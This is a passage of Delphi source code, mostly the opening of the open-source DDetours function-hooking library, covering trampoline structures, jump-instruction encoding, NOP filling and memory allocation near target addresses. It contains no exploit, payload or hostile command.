      CPUVendor := vAMD
    else if vn = 'NexGenDriven' then
      CPUVendor := vNextGen;
    CallCPUID(1, Info);
    r := Info.rEAX and $F00;
    case r of
      $F00, $600:
        Include(CPUInsts, iMultiNop);
    end;
    if ___IsAVXSupported then
      Include(CPUEncoding, VEX);
  end;
end;

initialization

CPUIDSupported := ___IsCPUIDSupported;
__Init__;

end.


================================================
FILE: Detour Hooking/Source/DDetours.pas
================================================
// **************************************************************************************************
// Delphi Detours Library.
// Unit DDetours
// https://github.com/MahdiSafsafi/DDetours
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License, v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at
// https://mozilla.org/MPL/2.0/.
// **************************************************************************************************
//
// Contributors:
// - David Millington : Added TDetours<T> class.
// **************************************************************************************************

unit DDetours;

{define FIX_MADEXCEPT if you are using crash on buffer overrun/underrun feature from MadExcept }
{.$DEFINE FIX_MADEXCEPT}
{.$define DEVMODE}

{$IFDEF FPC}
{$MODE DELPHI}
{$HINTS OFF}
{$WARN 4045 OFF}
{$WARN 4055 OFF}
{$WARN 4056 OFF}
{$WARN 4082 OFF}
{$WARN 5024 OFF}
{$WARN 5028 OFF}
{$WARN 5057 OFF}
{$WARN 5058 OFF}
{$ENDIF FPC}

interface

{$I DDetoursDefs.inc}

uses

{$IFDEF RENAMED_NAMESPACE}
  System.SysUtils,
  System.Classes,
  WinApi.Windows,
  WinApi.TLHelp32,
{$IFNDEF SUPPORTS_MONITOR}
  System.SyncObjs,
{$ENDIF SUPPORTS_MONITOR}
{$ELSE !RENAMED_NAMESPACE}
  SysUtils,
  Windows,
  Classes,
{$IFNDEF SUPPORTS_MONITOR}
  SyncObjs,
{$ENDIF SUPPORTS_MONITOR}
{$IFNDEF FPC}
  TLHelp32,
{$ENDIF FPC}
{$ENDIF RENAMED_NAMESPACE}
{$IFDEF SUPPORTS_RTTI}
  System.Generics.Collections,
  System.Typinfo, System.RTTI,
{$ENDIF SUPPORTS_RTTI}
  LegacyTypes,
  CPUID,
  InstDecode;

type
  InterceptException = Exception;
  TTransactionOption = (toSuspendThread);
  TTransactionOptions = set of TTransactionOption;

  TInterceptOption = (ioForceLoad, ioRecursive);
  TInterceptOptions = set of TInterceptOption;

const
  { Maximum allowed number of hooks. }
  MAX_HOOKS = 7;

  DefaultInterceptOptions = [];
  SErrorInvalidTType = '<T> must be a method';

  { ========================================= DDetours Interface ========================================= }
function InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions)
  : Pointer; overload;
function InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;
function InterceptCreate(const Module, MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;
procedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions); overload;

{$IFDEF SUPPORTS_RTTI}
function InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil;
  const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload;
{$ENDIF SUPPORTS_RTTI}
function InterceptRemove(const TrampoLine: Pointer): Integer; overload;

function GetHookCount(const TargetProc: Pointer): Integer; overload;
function GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload;
{$IFDEF SUPPORTS_RTTI}
function GetHookCount(const TargetInterface; const MethodName: String): Integer; overload;
{$ENDIF SUPPORTS_RTTI}
function IsHooked(const TargetProc: Pointer): Boolean; overload;
function IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload;
{$IFDEF SUPPORTS_RTTI}
function IsHooked(const TargetInterface; const MethodName: String): Boolean; overload;
{$ENDIF SUPPORTS_RTTI}
function PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer;
function UnPatchVt(const TrampoLine: Pointer): Boolean;

function BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle;
function EndTransaction(Handle: THandle): Boolean;

function EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean;
function ExitRecursiveSection(var TrampoLine): Boolean;

function GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId;
function GetTrampolineParam(var TrampoLine): Pointer;

{$IFDEF SUPPORTS_GENERICS}

type
  IIntercept<T, U> = interface(IInterface)
    ['{EECBF3C2-3938-4923-835A-B0A6AD27744D}']
    function GetTrampoline(): T;
    function GetParam(): U;
    function GetCreatorThreadId(): TThreadId;
    function GetInterceptOptions(): TInterceptOptions;
    function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;
    function ExitRecursive(): Boolean;

    property NextHook: T read GetTrampoline;
    property TrampoLine: T read GetTrampoline; // alias to NextHook
    property Param: U read GetParam;
    property CreatorThreadId: TThreadId read GetCreatorThreadId;
    property InterceptOptions: TInterceptOptions read GetInterceptOptions;
  end;

  {
    Based on David Millington's original implementation TDetours<T>.
  }
  TIntercept<T, U> = class(TInterfacedObject, IIntercept<T, U>)
  private
    FNextHook: T;
    FTrampolinePtr: Pointer;
    FParam: U;
    FCreatorThreadId: TThreadId;
    FInterceptOptions: TInterceptOptions;
    function TToPointer(const A): Pointer;
    function PointerToT(const P): T;
    function EnsureTIsMethod(): Boolean;
  public
    function GetTrampoline(): T;
    function GetParam(): U;
    function GetCreatorThreadId(): TThreadId;
    function GetInterceptOptions(): TInterceptOptions;
    function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean;
    function ExitRecursive(): Boolean;
    constructor Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); virtual;
    destructor Destroy(); override;
    property Param: U read FParam;
    property NextHook: T read FNextHook;
    property TrampoLine: T read FNextHook; // alias to NextHook
    property CreatorThreadId: TThreadId read FCreatorThreadId;
    property InterceptOptions: TInterceptOptions read FInterceptOptions;
  end;

  TIntercept<T> = class(TIntercept<T, Pointer>)
  public
    constructor Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil;
      const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); override;
  end;
{$ENDIF SUPPORTS_GENERICS}

type
  DetourException = Exception;

implementation

const
  { Nops }
  Nop9: array [0 .. 8] of Byte = ($66, $0F, $1F, $84, $00, $00, $00, $00, $00);
  Nop8: array [0 .. 7] of Byte = ($0F, $1F, $84, $00, $00, $00, $00, $00);
  Nop7: array [0 .. 6] of Byte = ($0F, $1F, $80, $00, $00, $00, $00);
  Nop6: array [0 .. 5] of Byte = ($66, $0F, $1F, $44, $00, $00);
  Nop5: array [0 .. 4] of Byte = ($0F, $1F, $44, $00, $00);
  Nop4: array [0 .. 3] of Byte = ($0F, $1F, $40, $00);
  Nop3: array [0 .. 2] of Byte = ($0F, $1F, $00);
  Nop2: array [0 .. 1] of Byte = ($66, $90);
  Nop1: array [0 .. 0] of Byte = ($90);
  MultiNops: array [0 .. 8] of PByte = ( //
    @Nop1, { Standard Nop }
    @Nop2, { 2 Bytes Nop }
    @Nop3, { 3 Bytes Nop }
    @Nop4, { 4 Bytes Nop }
    @Nop5, { 5 Bytes Nop }
    @Nop6, { 6 Bytes Nop }
    @Nop7, { 7 Bytes Nop }
    @Nop8, { 8 Bytes Nop }
    @Nop9 { 9 Bytes Nop }
    );

  { Arithmetic operands }
  arNone = $00;
  arPlus = $08;
  arMin = $10;
  arAdd = arPlus or $01;
  arSub = arMin or $01;
  arInc = arPlus or $02;
  arDec = arMin or $02;

  { Instructions OpCodes }
  opJmpRelz = $E9;
  opJmpRelb = $EB;
  opJmpMem = $25FF;
  opTestb = $85;
  opPrfOpSize = $66;
  opPrfAddrSize = $67;
  opNop = $90;

  { thread constants }
  THREAD_SUSPEND_RESUME = $0002;

  { Error messages }
  SErrorSmallFunctionSize = 'Size of function is too small, risk to override others adjacent functions.';
  SErrorInvalidJmp = 'Invalid JMP Type.';
  SErrorInvalidJmp64 = 'Invalid JMP Type for x64.';
  SErrorInvalidJmp32 = 'Invalid JMP Type for x32.';
  SErrorInvalidDstSave = 'Invalid DstSave Address pointer.';
  SErrorUnsupportedMultiNop = 'Multi Bytes Nop Instructions not supported by your CPU.';
  SErrorRipDisp = 'Failed to correcr RIP Displacement.';
  SErrorBigTrampoSize = 'Exceed maximum TrampoSize.';
  SErrorMaxHook = 'Exceed maximum allowed of hooks.';
  SErrorInvalidTargetProc = 'Invalid TargetProc Pointer.';
  SErrorInvalidInterceptProc = 'Invalid InterceptProc Pointer.';
  SErrorInvalidDescriptor = 'Invalid Descriptor.';
  SErrorInvalidTrampoline = 'Invalid TrampoLine Pointer.';
  SErrorBeginUnHook = 'BeginUnHooks must be called outside BeginHooks/EndHooks.';
  SErrorRecursiveSectionUnsupported = 'Trampoline was not marked to use recursive section.';
  SErrorTlsOutOfIndexes = 'Tls out of indexes.';
  { JMP Type }
  JT_NONE = 0;
  JT_REL8 = 1;
  JT_REL16 = 2;
  JT_REL32 = 3;
  JT_MEM16 = 4;
  JT_MEM32 = 5;
  JT_MEM64 = 6;
  JT_RIPZ = 7;

{$IFDEF CPUX64}
  JT_MEMN = JT_MEM64;
{$ELSE !CPUX64}
  JT_MEMN = JT_MEM32;
{$ENDIF CPUX64}
  { Jmp Type To Size }
  JmpTypeToSize: array [0 .. 7] of Byte = ( //
    0, { None }
    2, { JT_REL8  = $EB + Rel8 }
    4, { JT_REL16 = OpSizePrf + $E9 + Rel16 }
    5, { JT_REL32 = $E9 + Rel32 }
    7, { JT_MEM16 = OpSizePrf + $FF /4 + Disp32 }
    6, { JT_MEM32 = $FF /4 + Disp32 }
    6, { JT_MEM64 = $FF /4 + Disp32 }
    14 { JT_RIPZ  = $FF /4 + Disp32 + DQ }
    );

  SizeToJmpType: array [0 .. 4] of Byte = ( //
{$IFDEF CPUX86}
    JT_REL8, { db }
    JT_REL16, { dw }
    JT_REL32, { dd }
    JT_MEM32, { dd }
    JT_MEM32 { dd }
{$ELSE !CPUX86}
    JT_REL8, { db }
    JT_REL32, { dw }
    JT_REL32, { dd }
    JT_MEM64, { dq }
    JT_MEM64 { dq }
{$ENDIF CPUX86}
    );

  DscrSigSize = $08;
  TmpSize = 32;

  TrampolineSignature = $544C544C;

type
  TArrayOfThreadId = array [0 .. HIGH(SmallInt) - 1] of DWORD;
  PArrayOfThreadId = ^TArrayOfThreadId;

  TTransactionStruct = record
    Options: TTransactionOptions;
    TID: DWORD;
    PID: DWORD;
    ThreadPriority: Integer;
    SuspendedThreadCount: Integer;
    SuspendedThreads: PArrayOfThreadId;
  end;

  PTransactionStruct = ^TTransactionStruct;

  TOpenThread = function(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THandle; stdcall;

  TDscrSig = array [0 .. DscrSigSize - 1] of Byte;

  TVirtualProtect = function(lpAddress: Pointer; dwSize: SIZE_T; flNewProtect: DWORD; var OldProtect: DWORD): BOOL; stdcall;
  TVirtualAlloc = function(lpvAddress: Pointer; dwSize: SIZE_T; flAllocationType, flProtect: DWORD): Pointer; stdcall;
  TVirtualQuery = function(lpAddress: Pointer; var lpBuffer: TMemoryBasicInformation; dwLength: SIZE_T): SIZE_T; stdcall;
  TFlushInstructionCache = function(hProcess: THandle; const lpBaseAddress: Pointer; dwSize: SIZE_T): BOOL; stdcall;
  TGetCurrentProcess = function: THandle; stdcall;
  TVirtualFree = function(lpAddress: Pointer; dwSize: SIZE_T; dwFreeType: DWORD): BOOL; stdcall;

  { TEnumThreadCallBack for EnumProcessThreads }
  TEnumThreadCallBack = function(ID: DWORD; Param: Pointer): Boolean;

  TInternalFuncs = record
    VirtualAlloc: TVirtualAlloc;
    VirtualFree: TVirtualFree;
    VirtualProtect: TVirtualProtect;
    VirtualQuery: TVirtualQuery;
    FlushInstructionCache: TFlushInstructionCache;
    GetCurrentProcess: TGetCurrentProcess;
  end;

  TTrampoInfo = record
    Addr: PByte; // Pointer to first trampoline instruction .
    Size: Byte; // Stolen bytes size .
    PData: PByte; // Original Stolen bytes.
  end;

  PTrampoInfo = ^TTrampoInfo;

  TJmpMem = packed record
    OpCode: WORD; // $0F$25
    Disp32: Integer;
  end;

  PJmpMem = ^TJmpMem;

  TDescriptor = packed record
    Sig: TDscrSig; { Table signature. }
    DscrAddr: PByte; { Pointer that hold jmp address (if Used)! }
    nHook: Byte; { Number of hooks . }
    Flags: Byte; { Reserved for future use! }
    ExMem: PByte; { Reserved for jmp (if used) & for Trampoline ! }
    OrgPtr: PByte; { Original Target Proc address. }
    Trampo: PTrampoInfo; { Pointer to TrampoInfo struct. }
    { Array that hold jmp destination address. }
    JmpAddrs: array [0 .. MAX_HOOKS] of PByte;
    {
      Mark the beginning of descriptor code executing .
      ==> Must be NOP .
    }
    CodeEntry: Byte;
    { Jmp Instruction for NextHook call and Trampoline call ! }
    JmpMems: array [0 .. MAX_HOOKS] of TJmpMem;
  end;

  PDescriptor = ^TDescriptor;

  TNextHook = packed record
    ID: Byte; { Hook ID . }
    PDscr: PDescriptor;
    Signature: Cardinal;
    threadid: TThreadId;
    Param: Pointer;
    TlsRecursionLevelIndex: DWORD;
    InterceptOptions: TInterceptOptions;
  end;

  PNextHook = ^TNextHook;

  TTrampoDataVt = record
    vAddr: Pointer;
    Addr: Pointer;
  end;

  PTrampoDataVt = ^TTrampoDataVt;

const
  TrampoSize = SizeOf(TNextHook) + 64;

  { Descriptor Signature }
{$IFDEF CPUX64}
  DscrSig: TDscrSig = ( //
    $90, { NOP }
    $40, { REX }
    $40, { REX }
    $40, { REX }
    $0F, { ESCAPE TWO BYTE }
    $1F, { HINT_NOP }
    $F3, { PRF }
    $F3 { PRF }
    );
{$ELSE !CPUX64}
  DscrSig: TDscrSig = ( //
    $90, { NOP }
    $40, { INC EAX }
    $48, { DEC EAX }
    $90, { NOP }
    $0F, { ESCAPE TWO BYTE }
    $1F, { HINT_NOP }
    $F3, { PRF }
    $F3 { PRF }
    );
{$ENDIF CPUX64}
{$IFDEF FPC}
{$I 'TlHelp32.inc'}
{$ENDIF FPC}

var
  OpenThread: TOpenThread = nil;
{$IFDEF FPC}
  CreateToolhelp32Snapshot: TCreateToolhelp32Snapshot = nil;
  Thread32First: TThread32First = nil;
  Thread32Next: TThread32Next = nil;
{$ENDIF FPC}
  hKernel: THandle;
  OpenThreadExist: Boolean = False;
  FreeKernel: Boolean = False;
  SizeOfAlloc: DWORD = 0; // See initialization !
  SysInfo: TSystemInfo;
  InternalFuncs: TInternalFuncs;
{$IFDEF SUPPORTS_MONITOR}
  FLock: TObject = nil;
{$ELSE !SUPPORTS_MONITOR}
  FLock: TCriticalSection = nil;
{$ENDIF SUPPORTS_MONITOR }
  { ================================== Utils ================================== }

function GetUInt64Size(const Value: UInt64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}
begin
  if UInt8(Value) = Value then
    Result := 1
  else if UInt16(Value) = Value then
    Result := 2
  else if UInt32(Value) = Value then
    Result := 4
  else
    Result := 8;
end;

function GetInt64Size(const Value: Int64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}
begin
  if Int8(Value) = Value then
    Result := 1
  else if Int16(Value) = Value then
    Result := 2
  else if Int32(Value) = Value then
    Result := 4
  else
    Result := 8;
end;

procedure EnterLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}
begin
{$IFDEF SUPPORTS_MONITOR}
  TMonitor.Enter(LockedObject);
{$ELSE !SUPPORTS_MONITOR}
  TCriticalSection(LockedObject).Enter();
{$ENDIF SUPPORTS_MONITOR}
end;

procedure LeaveLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}
begin
{$IFDEF SUPPORTS_MONITOR}
  TMonitor.Exit(LockedObject);
{$ELSE !SUPPORTS_MONITOR}
  TCriticalSection(LockedObject).Leave();
{$ENDIF SUPPORTS_MONITOR}
end;

function EnumProcessThreads(PID: DWORD; CallBack: TEnumThreadCallBack; Param: Pointer): BOOL;
var
  hSnap: THandle;
  te: TThreadEntry32;
  Next: Boolean;
begin
  hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, PID);
  Result := hSnap <> INVALID_HANDLE_VALUE;
  if Result then
  begin
    te.dwSize := SizeOf(TThreadEntry32);
    Next := Thread32First(hSnap, te);
    while Next do
    begin
      if (te.th32OwnerProcessID = PID) then
      begin
        try
          if not CallBack(te.th32ThreadID, Param) then
            break;
        except
        end;
      end;
      Next := Thread32Next(hSnap, te);
    end;
    Result := CloseHandle(hSnap);
  end;
end;

function SetMemPermission(const P: Pointer; const Size: SIZE_T; const NewProtect: DWORD): DWORD;
const
  PAGE_EXECUTE_FLAGS = PAGE_EXECUTE or PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_WRITECOPY;
begin
  Result := 0;
  if Assigned(P) and (Size > 0) and (NewProtect > 0) then
  begin
    if InternalFuncs.VirtualProtect(P, Size, NewProtect, Result) then
      if (NewProtect and PAGE_EXECUTE_FLAGS <> 0) then
        {
          If the protected region will be executed
          => We need to update the cpu cache !
        }
        InternalFuncs.FlushInstructionCache(InternalFuncs.GetCurrentProcess(), P, Size);
  end;
end;

function GetDispDataSize(PInst: PInstruction): Integer;
begin
  Result := 0;
  if PInst^.Disp.Flags and dfUsed <> 0 then
  begin
    if PInst^.Archi = CPUX32 then
    begin
      if PInst^.Prefixes and Prf_OpSize <> 0 then
        Result := ops16bits
      else
        Result := ops32bits;
      Exit;
    end
    else
    begin
      case PInst^.OperandFlags of
        opdD64:
          begin
            {
              Defaults to O64 in PM64.
              PrfOpSize results in O16.
            }
            if PInst^.Prefixes and Prf_OpSize <> 0 then
              Result := ops16bits
            else
              Result := ops64bits;
          end;
        opdF64, opdDv64:
          begin
            { The operand size is forced to a 64-bit operand size in PM64 ! }
            Result := (ops64bits);
            Exit;
          end;
        opdDf64:
          begin
            {
              Defaults to O64 in PM64.
              PrfOpSize results in O16 in AMD64.
              PrfOpSize is ignored in EM64T.
            }
            if (CPUVendor = vAMD) and (PInst^.Prefixes and Prf_OpSize <> 0) then
              Result := (ops16bits)
            else
              Result := (ops64bits);
            Exit;
          end;
      else
        begin
          if PInst^.Rex.W then
            Result := (ops64bits)
          else if (PInst^.Prefixes and Prf_OpSize <> 0) then
            Result := (ops16bits)
          else
            Result := (ops32bits);
          Exit;
        end;
      end;
    end;
  end;
end;

function fDecodeInst(PInst: PInstruction): Integer;
var
  IsNxtInstData: Boolean;
begin
  { Include VEX decoding if the cpu support it! }
  if (VEX in CPUEncoding) then
    PInst.Options := DecodeVex;

  Result := DecodeInst(PInst);

{$IFDEF CPUX64}
  IsNxtInstData := ((PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip)) and (PInst^.Disp.Value = 0));
{$ELSE !CPUX64}
  IsNxtInstData := (PInst^.Disp.Value = Int64(PInst^.NextInst));
{$ENDIF CPUX64}
  if IsNxtInstData then
  begin
    {
      Check if the Next Instruction is data !
      If so , That's mean it's not a valid instruction .
      We must skip this data ..
      otherwise , disassembling next instructions will fail !
    }
    Inc(Result, GetDispDataSize(PInst));
    PInst^.InstSize := Result;
  end;
end;

function RoundMultipleOf(const Value, MultipleOf: NativeInt): NativeInt; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE}
begin
  if Value = 0 then
  begin
    Result := (MultipleOf);
    Exit;
  end;
  Result := ((Value + (MultipleOf - 1)) and not(MultipleOf - 1));
end;

function AllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer;
var
  mbi: TMemoryBasicInformation;
  SysInfo: TSystemInfo;
  pBase: PByte;
  P: PByte;
  Q: PByte;
  pMax, pMin: PByte;
  dwAllocGran: DWORD;
begin
  { Alloc memory on the specific nearest address from the Addr . }

  Result := nil;
  P := PByte(Addr);
  if not Assigned(P) then
  begin
    Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);
    Exit;
  end;

  GetSystemInfo(SysInfo);
  pMin := SysInfo.lpMinimumApplicationAddress;
  pMax := SysInfo.lpMaximumApplicationAddress;
  dwAllocGran := SysInfo.dwAllocationGranularity;

  if (NativeUInt(P) < NativeUInt(pMin)) or (NativeUInt(P) > NativeUInt(pMax)) then
    Exit;
  if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) = 0 then
    Exit;

  pBase := mbi.BaseAddress;
  Q := pBase;
  while NativeUInt(Q) < NativeUInt(pMax) do
  begin
    if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then
      Exit;
    if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then
    begin
      { The address (P) must be multiple of the allocation granularity (dwAllocationGranularity) . }
      P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran));
      Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);
      if Assigned(Result) then
        Exit;
    end;
    Inc(Q, mbi.RegionSize); // Next Region .
  end;
  {
    If thre is no memory available in the range [Addr - pMax]
    try to allocate at the range [pMin - Addr]
  }
  Q := pBase;
  while NativeUInt(Q) > NativeUInt(pMin) do
  begin
    if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then
      Exit;
    if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then
    begin
      P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran));
      Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect);
      if Assigned(Result) then
        Exit;
    end;
    Dec(Q, mbi.RegionSize); // Previous Region.
  end;
end;

function TryAllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer;
var
  MEM_64: DWORD;
begin
  MEM_64 := 0;
  Result := AllocMemAt(Addr, MemSize, flProtect);
  if not Assigned(Result) then
  begin
{$IFDEF CPUX64}
    { Allocates memory at the highest possible address }
    if (UInt64(Addr) and $FFFFFFFF00000000 <> 0) then
      MEM_64 := MEM_TOP_DOWN;
{$ENDIF CPUX64}
    Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT or MEM_64, flProtect);
  end;
end;

function InsertJmp(Src, Dst: PByte; JmpType: Integer; const DstSave: PByte = nil): Integer;
var
  Offset: NativeInt;
  JmpSize: Integer;
begin
  Result := 1;
  JmpSize := JmpTypeToSize[JmpType];
  Offset := NativeInt(NativeInt(Dst) - NativeInt(Src)) - JmpSize;
  case JmpType of
    JT_NONE:
      begin
        raise InterceptException.Create(SErrorInvalidJmp);
      end;
    JT_REL8:
      begin
        PByte(Src)^ := opJmpRelb;
        Inc(Src);
        PInt8(Src)^ := Int8(Offset);
      end;
    JT_REL16:
      begin
{$IFDEF CPUX64}
        {
          JMP Rel16
          ==> Not supported on x64!
        }
        raise InterceptException.Create(SErrorInvalidJmp64);
{$ENDIF CPUX64}
        PByte(Src)^ := opPrfOpSize;
        Inc(Src);
        PByte(Src)^ := opJmpRelz;
        Inc(Src);
        PInt16(Src)^ := Int16(Offset);
      end;
    JT_REL32:
      begin
        PByte(Src)^ := opJmpRelz;
        Inc(Src);
        PInt32(Src)^ := Offset;
      end;
    JT_MEM16:
      begin
{$IFDEF CPUX64}
        {
          JMP WORD [012345]
          ==> Not supported on x64!
        }
        raise InterceptException.Create(SErrorInvalidJmp64);
{$ENDIF CPUX64}
        if not Assigned(DstSave) then
          raise InterceptException.Create(SErrorInvalidDstSave);
        PByte(Src)^ := opPrfOpSize;
        Inc(Src);
        PWord(Src)^ := opJmpMem;
        Inc(Src, 2);
        PUInt32(Src)^ := UInt32(DstSave);
        PUInt16(DstSave)^ := UInt16(Dst);
      end;
    JT_MEM32:
      begin
{$IFDEF CPUX64}
        {
          JMP DWORD [012345]
          ==> Not supported on x64!
        }
        raise InterceptException.Create(SErrorInvalidJmp64);
{$ENDIF CPUX64}
        if not Assigned(DstSave) then
          raise InterceptException.Create(SErrorInvalidDstSave);
        PWord(Src)^ := opJmpMem;
        Inc(Src, 2);
        PUInt32(Src)^ := UInt32(DstSave);
        PUInt32(DstSave)^ := UInt32(Dst);
      end;
    JT_MEM64:
      begin
{$IFDEF CPUX86}
        {
          JMP QWORD [0123456789]
          ==> Not supported on x32!
        }
        raise InterceptException.Create(SErrorInvalidJmp32);
{$ENDIF CPUX86}
        if not Assigned(DstSave) then
          raise InterceptException.Create(SErrorInvalidDstSave);
        { RIP Disp ! }
        PUInt64(DstSave)^ := UInt64(Dst);
        Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - JmpSize;

        PWord(Src)^ := opJmpMem;
        Inc(Src, 2);
        PInt32(Src)^ := Offset;
      end;
    JT_RIPZ:
      begin
{$IFDEF CPUX86}
        raise InterceptException.Create(SErrorInvalidJmp32);
{$ENDIF CPUX86}
        {
          This is the most harder way to insert a jump !
          Why ?
          because we are going to mix code & data !
          Thats mean when disassembling instructions after
          this branch .. you will have a corrupted dissambled
          structure !

          The only way to detect this kind of jmp is:
          to use fDecodeInst rather than DecodeInst routine .

          ==> We should avoid using this kind of jmp
          in the original target proc .

          ==> It's Ok to use in others situation .
        }

        PWord(Src)^ := opJmpMem;
        Inc(Src, 2);
        PInt32(Src)^ := $00;
        Inc(Src, 4);
        PUInt64(Src)^ := UInt64(Dst);
      end;
  end;
end;

function GetJmpType(Src, Dst, DstSave: PByte): Integer;
var
  Offset: NativeInt;
  OffsetSize: Integer;
begin
  Offset := NativeInt(NativeInt(Src) - NativeInt(Dst));
  OffsetSize := GetInt64Size(Offset);
  Result := SizeToJmpType[OffsetSize shr 1];
{$IFDEF CPUX64}
  if Result = JT_MEM64 then
  begin
    if not Assigned(DstSave) then
      raise InterceptException.Create(SErrorInvalidDstSave);
    Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - 7;
    if Integer(Offset) <> Offset then
    begin
      Result := (JT_RIPZ);
      Exit;
    end;
  end;
{$ENDIF CPUX64}
end;

function IsMultiBytesNop(P: Pointer; Size: Integer): Boolean;
var
  i: Integer;
begin
  Result := False;
  if Size > 0 then
  begin
    while (Size > 0) do
    begin
      for i := Length(MultiNops) downto 1 do
      begin
        if Size >= i then
        begin
          Result := CompareMem(MultiNops[i - 1], P, i);
          if Result then
          begin
            Inc(PByte(P), i);
            Dec(Size, i);
            break;
          end;
        end;
      end;
      if not Result then
        Exit;
    end;
    Result := True;
  end;
end;

procedure FillMultiNop(var Buffer; Size: Integer);
var
  i: Integer;
  P: PByte;
begin
  { Multi Bytes Nop Instruction is fast to execute compared to
    the traditional NOP instruction.

    However it's not supported by all CPU !
    ==> Use FillNop(P,Size,True).

    ==> CPUID implements a routine to detect
    if the CPU supports Multi Bytes Nop .
  }
  if not(iMultiNop in CPUInsts) then
    raise InterceptException.Create(SErrorUnsupportedMultiNop);

  P := PByte(@Buffer);
  for i := Length(MultiNops) downto 1 do
  begin
    while Size >= i do
    begin
      Move(MultiNops[i - 1]^, P^, i);
      Dec(Size, i);
      Inc(P, i);
    end;
    if Size = 0 then
      Exit;
  end;
end;

function IsNop(P: PByte; Size: Integer): Boolean;
var
  i: Integer;
begin
  { Return True if the first instructions are nop/multi nop. }
  Result := False;
  if iMultiNop in CPUInsts then
    Result := IsMultiBytesNop(P, Size)
  else
    for i := 0 to Size - 1 do
    begin
      Result := (P^ = opNop);
      if not Result then
        Exit;
      Inc(P); // Next Byte.
    end;
end;

procedure FillNop(var P; Size: Integer; MultipleNop: Boolean);
begin
  if MultipleNop and (iMultiNop in CPUInsts) then
    FillMultiNop(P, Size)
  else
    FillChar(P, Size, opNop);
end;

function GetPrefixesCount(Prefixes: WORD): Byte;
var
  Prf: WORD;
  i: Byte;
begin
  { Get prefixes count used by the instruction. }
  Result := 0;
  if Prefixes = 0 then
    Exit;

  Prf := 0;
  i := 0;
  Prefixes := Prefixes and not Prf_VEX;
  while Prf < $8000 do
  begin
    Prf := (1 shl i);
    if (Prf and Prefixes = Prf) then
      Inc(Result);
    Inc(i);
  end;
end;

function GetInstOpCodes(PInst: PInstruction; P: PByte): ShortInt;
var
  nPrfs: Byte;
begin
  {
    Return opcodes length
    Instruction OpCodes in arg P  .
  }
  Result := 0;
  FillChar(P^, MAX_INST_LENGTH_N, $90);
  nPrfs := GetPrefixesCount(PInst^.Prefixes);
  Inc(Result, nPrfs);
  case PInst^.OpTable of
    tbTwoByte:
      if PInst^.Prefixes and Prf_VEX3 = 0 then
        Inc(Result); // $0F
    tbThreeByte:
      begin
        if PInst^.Prefixes and Prf_VEX3 = 0 then
          Inc(Result, 2); // 0F + 38|3A !
      end;
    tbFPU:
      Inc(Result, 2); // [$D8..$D9] + ModRm !
  end;
  if PInst^.Prefixes and Prf_Vex2 <> 0 then
    Inc(Result); // VEX.P0
  if PInst^.Prefixes and Prf_VEX3 <> 0 then
    Inc(Result, 2); // VEX.P0 + VEX.P1
  if PInst^.OpKind = kGrp then
    Inc(Result, 2) // Group + ModRm
  else
    Inc(Result); // OpCode
  if Assigned(P) then
    Move(PInst^.Addr^, P^, Result);
end;

function GetJccOpCode(PInst: PInstruction; RelSize: Integer): DWORD;
var
  OpCode: Byte;
  Opcodes: array [0 .. 3] of Byte;
begin
  FillChar(PByte(@Opcodes[0])^, 4, #00);
  OpCode := PInst^.OpCode and $F;
